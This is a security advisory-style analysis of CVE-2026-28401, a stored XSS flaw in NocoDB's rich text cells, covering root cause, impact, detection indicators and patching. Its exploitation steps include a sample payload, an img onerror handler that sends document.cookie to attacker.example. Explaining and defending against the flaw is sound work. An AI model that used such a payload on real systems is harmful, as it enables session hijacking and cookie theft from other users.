CVE-2026-28401: 
JavaScript vulnerability analysis and mitigation

CVE-2026-28401 is a stored Cross-Site Scripting (XSS) vulnerability in NocoDB, an open-source platform for building databases as spreadsheets. Rich text cell content in TextArea.vue is parsed by markdown-it with html: true and rendered via Vue's v-html directive without DOMPurify sanitization, enabling persistent script injection. All NocoDB versions up to and including 0.301.2 (npm package) are affected; the issue was patched in version 0.301.3, released on February 27, 2026, and publicly disclosed on March 2, 2026. It carries a CVSS v3.1 base score of 5.4 (Medium) and a CVSS v4.0 base score of 5.3 (Medium) (Github Advisory, NocoDB Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically in the TextArea.vue component where rich text content is processed by markdown-it with the html: true option enabled, allowing raw HTML passthrough, and then injected directly into the DOM via Vue's v-html without any sanitization library such as DOMPurify. An attacker with at minimum an Editor role can craft a malicious HTML/JavaScript payload and store it in a rich text cell; the payload executes in the browser of any user who subsequently views that cell. The attack vector is network-based, requires low privileges to inject, and only passive user interaction (viewing the cell) to trigger execution (NocoDB Advisory, Github Advisory).

Successful exploitation allows a low-privileged attacker (Editor role) to execute arbitrary JavaScript in the browsers of all users who view the poisoned rich text cell, including higher-privileged users such as administrators. This can lead to session hijacking via cookie theft, credential harvesting, unauthorized data access or modification within the NocoDB instance, and potential lateral movement if session tokens are reused across systems. Confidentiality and integrity of the subsequent (victim) system are both impacted, though availability is not directly affected (Github Advisory, NocoDB Advisory).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported as of the time of disclosure (Github Advisory). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.047% (2nd percentile), indicating a low near-term probability of exploitation. The vulnerability was discovered by an AI agent developed by the GitHub Security Lab and reviewed by researchers Peter Stockli (@p-) and Man Yue Mo (@m-y-mo) (NocoDB Advisory).

1. Obtain Editor access: Register or obtain credentials for an account with at least the Editor role on the target NocoDB instance running version ≤ 0.301.2.
2. Identify a rich text (LongText) column: Navigate to any table containing a rich text/LongText column that renders markdown, or create one if permissions allow.
3. Craft a malicious payload: Compose a stored XSS payload in HTML that will execute JavaScript when rendered, for example: <img src=x onerror="fetch('https://attacker.example/steal?c='+document.cookie)"> or a <script> tag embedded in the markdown content.
4. Inject the payload into a cell: Enter the malicious HTML into the rich text cell and save the record. Because markdown-it is configured with html: true, the raw HTML is preserved and stored in the database.
5. Wait for victim interaction: When any other user (including administrators) opens the table and views the affected row, the v-html directive renders the stored HTML directly into the DOM, triggering the JavaScript payload in the victim's browser.
6. Harvest results: Collect exfiltrated session tokens, cookies, or other data from the attacker-controlled endpoint to perform session hijacking or further unauthorized actions (NocoDB Advisory, Github Advisory).

• Network: Unexpected outbound HTTP requests from user browsers to external or unknown domains originating from NocoDB page interactions; requests containing URL-encoded cookie or token data in query parameters (e.g., ?c=, ?token=, ?data=).
• Logs: NocoDB application or web server access logs showing unusual API calls to record update endpoints (e.g., PATCH /api/v1/db/data/...) containing HTML tags or JavaScript keywords (<script>, onerror, onload, fetch, document.cookie) in request bodies.
• File System: No direct file system artifacts expected for a client-side XSS; however, server-side audit logs may show record modifications by Editor-role accounts inserting atypical content into LongText/rich text fields.
• Database: Rich text cell values in NocoDB tables containing raw HTML tags, JavaScript event handlers, or encoded script content (e.g., <img, <script, onerror=, javascript:) stored in LongText columns.

The primary remediation is to upgrade NocoDB to version 0.301.3 or later, which addresses this vulnerability by adding proper HTML sanitization (e.g., DOMPurify) before rendering rich text content via v-html (NocoDB Release). For organizations unable to patch immediately, the following interim mitigations are recommended: implement a strict Content Security Policy (CSP) header to restrict inline script execution and limit allowed script sources; restrict database and table access to only fully trusted users, removing Editor access from untrusted accounts; and audit existing rich text cell content for any potentially malicious HTML or JavaScript payloads (Github Advisory).

The vulnerability was discovered by an AI agent developed by the GitHub Security Lab and reviewed by GHSL researchers Peter Stockli (@p-) and Man Yue Mo (@m-y-mo), reflecting the growing use of automated tooling in security research (NocoDB Advisory). The NocoDB maintainer (@mertmit) published the advisory and coordinated the patch release, acknowledging multiple security researchers in the 0.301.3 release notes (NocoDB Release). No significant broader media coverage or notable community controversy has been observed beyond standard vulnerability disclosure channels.